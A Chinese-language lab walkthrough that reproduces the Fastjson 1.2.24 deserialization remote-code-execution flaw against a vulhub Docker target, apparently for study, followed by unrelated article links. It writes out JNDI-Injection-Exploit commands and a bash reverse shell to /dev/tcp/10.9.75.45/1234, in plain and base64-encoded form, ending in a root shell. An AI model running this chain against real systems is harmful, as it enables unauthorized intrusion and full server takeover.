fastjson漏洞复现

文章目录

启动环境

到vulhub目录下

复制代码
cd vulhub/fastjson/1.2.24-rce

安装环境并启动:

复制代码
sudo docker-compose up -d && sudo docker-compose up -d

启动成功,如图:

查看端口发现是8090,打开bp内置浏览器,输入10.9.75.45:8090打开环境:

漏洞复现

FastJson 是Alibab的一款开源Json 解析库,可用于将Java 对象转换为其Json 表示形式,也可以用于将Json 字符串转换为等效的Java 对象。近几年来FastJson 漏洞层出不穷。RCE 漏洞的源头:17年FastJson 爆出的1.2.24 反序列化漏洞。

关于FasiJson 1.2.24 反序列化漏洞,简单来说,就是FastJson 通过parsebiect/parse 将传入的字符由反广列化为Java 对象时由于没有进行合理检查而导致的。

打开环境后用bp抓包,Ctrl+r发送到repeater模块,右键改为post方法,将content-type字段改为application/json,然后添加一个json格式的数据并提交:

复制代码
{"name":"EMT","age":24}

上传成功:

这个过程中:json-> object -> json,进行了序列化和反序列化

下载bp插件

到网站Releases · Maskhe/FastjsonScan (github.com),复制FastjsonScan.jar包的地址:

在kali中到下面目录:

复制代码
cd tools/burpsuite/extensions

新建一个目录:

复制代码
mkdir Fastjosnscan

到新建的目录下,输入命令拉取FastjsonScan.jar包:

复制代码
proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar

在bp中选择extensions,点击add,添加插件:

安装插件已完成:

漏洞扫描

来到repeater模块,将数据包发送到FastjsonScan:

发送后等待扫描结束后发现漏洞,得到漏洞利用的poc:

poc中有rmi,它相当于Java的http协议,通过它可以远程执行引用一个外部类。

dnslog测试是否向外请求资源

生成一个URL:

用lbap测试是否有URL跳转:

测试成功。有URL跳转,向外部请求资源:

用工具构造rmi服务器

复制代码
cd tools

新建一个文件夹JNDI-Injection-Exploit,进入该目录,输入命令下载工具:

复制代码
sudo wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

下载完成后在该目录下执行命令:

复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/EMT" -A "10.9.75.45"

成功构建出服务器,显示出URL:

用生成的URL到数据包中提交,如果成功就可以在容器的tmp目录下创建一个EMT文件,点击send后报错,返回号500:

用命令查看容器ID:

复制代码
sudo docker ps -a

如图:

登录容器:

复制代码
sudo docker exec -it 26ad /bin/bash

如图,登录成功:

查看tmp目录下的文件,写入文件成功:

反弹shell

用上面的漏洞可以写一个反弹shell命令来获取对方的shell:

反弹shell命令,端口设为1234:

复制代码
bash -i >& /dev/tcp/10.9.75.45/1234 0>&1

进行base64编码:

复制代码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjQ1LzEyMzQgMD4mMQ==

将base64编码组成下面命令

复制代码
bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjQ1LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

同上,用工具构造一个可以发送的url:

复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjQ1LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.9.75.45"

如图,构造成功:

监听1234端口:

复制一条URL到数据包中点击发送:

反弹shell成功,获取到root权限:

相关推荐
九硕智慧建筑一体化厂家2 小时前
数字化管控落地,直流照明构筑安全照明体系
运维·人工智能·笔记·安全·智慧城市
波波0073 小时前
C# 15 重磅新特性: 带标签 break 与 continue:重新定义嵌套循环控制流
服务器·前端·c#
刘某的Cloud4 小时前
ceph osd 导入导出 rbd volume 卷
linux·运维·ceph·volume
chunmiao30324 小时前
DeepSeek V4-Pro 正式版上线,API 8月17日起分时调价
网络·安全
隔窗听雨眠5 小时前
GBase 8s并发控制深度解析:封锁机制、隔离级别与死锁处理全攻略
服务器·数据库·oracle
湘美书院--湘美谈教育5 小时前
湘美书院主理人谈AI文学:提示词与Skill的与时俱进
大数据·人工智能·安全·自动化·生活
hz567896 小时前
视频会议终端对接详解:协议兼容、系统集成与常见问题
安全·实时音视频·信息与通信
神奇霸王龙6 小时前
Agent 准入门控屠夫:5 旗舰 4 维度评估
linux·运维·数据库·ai·ai作画·agent·ai编程
鲸采云SRM采购管理系统6 小时前
采购管理系统哪家好?2026最新测评对比
java·服务器·数据库
cfm_29146 小时前
基于Binlog实现不停机数据库平滑迁移技术
运维·数据库·架构